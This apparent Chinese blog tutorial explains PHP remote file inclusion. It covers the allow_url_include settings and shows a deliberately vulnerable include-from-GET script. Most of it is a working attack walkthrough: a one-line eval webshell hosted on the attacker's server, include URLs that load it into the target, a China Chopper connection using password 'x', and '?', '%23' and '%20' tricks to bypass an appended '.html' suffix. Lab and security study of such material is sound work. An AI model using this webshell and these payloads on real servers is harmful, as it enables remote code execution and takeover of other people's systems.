美文网首页中国蓝
远程文件包含webshell

远程文件包含webshell

作者: 陈望_ning | 来源:发表于2019-01-03 20:16 被阅读0次

    PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。

    allow_url_fopen = On 是否允许打开远程文件
    allow_url_include = On 是否允许include/require远程文件

    注意:如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件

    例如:我们用windows server 2003 服务器包含一个Linux上的phpinfo.php文件,那么得到的就是Linux的php配置文件,而不是Windows上的php配置文件。

    无限制远程文件包含漏洞示例:

    已知192.168.173.128这台服务器中存在着文件包含漏洞,我们想要通过远程包含自己的服务器上的木马文件

    192.168.173.128/index.php

    <?php
           $filename = $_GET[‘page’];
           Include($filename);
    ?>
    

    首先,我们在自己的服务器192.168.173.129上新建一个文件2.txt

    <?php
           echo ‘hello hackerAK’
    ?>
    

    我们通过远程包含文件包含到192.168.173.128这台目标服务器上,包含的方式与本地包含的方式一样:

    http://192.168.173.128/index.php?page=http://192.168.173.129/2.txt
    

    页面显示正常,说明文件包含成功!

    我们继续包含一个木马文件getshell.txt看能否执行,为了方便查看,我们让它输出“123”

    <?php
           @eval($_POST['x']);
           echo '123' ;
    ?>
    

    我们在浏览器的地址栏中写入

    http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
    

    成功显示出页面,文件包含成功

    下面我们用中国菜刀连一下,看能否连接到目标的服务器

    打开菜刀,右键“添加”,然后在地址栏中填入我们包含的payload:http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
    ,密码为“x”,选择php脚本,点击添加

    有限制远程文件包含漏洞示例:

    测试代码:

    <?php include($_GET['filename'] . ".html"); ?>
    

    代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

    image.png

    问号绕过

    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
    
    image.png

    #号绕过

    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
    
    
    image.png

    还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

    image.png
    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
    
    image.png

    相关文章

      网友评论

        本文标题:远程文件包含webshell

        本文链接:https://www.haomeiwen.com/subject/abpfrqtx.html